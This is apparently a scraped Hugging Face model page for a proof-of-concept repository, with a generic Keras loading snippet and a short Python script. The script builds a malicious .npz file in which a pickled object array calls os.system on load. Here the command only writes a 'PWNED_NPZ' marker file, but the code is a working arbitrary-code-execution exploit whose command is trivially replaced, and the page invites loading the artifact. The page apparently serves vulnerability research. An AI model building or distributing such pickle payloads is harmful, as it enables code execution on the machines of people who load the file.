Instructions to use AeonAIRisk/npz-object-array-ace-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use AeonAIRisk/npz-object-array-ace-poc with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://AeonAIRisk/npz-object-array-ace-poc") - Notebooks
- Google Colab
- Kaggle
File size: 424 Bytes
1d5abc7 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | import numpy as np, pickle, io, os
MARKER = r"C:/Users/uozer/AppData/Local/Temp/opencode/NPZ_PWN.txt"
OUT = r"D:\0projects\bountykimi\tmp\evil_npz.npz"
class Evil:
def __reduce__(self):
return (os.system, ("echo PWNED_NPZ > " + MARKER,))
# object array holding the malicious instance -> forces pickle serialization inside npz
arr = np.array([Evil()], dtype=object)
np.savez(OUT, data=arr)
print("saved", OUT)
|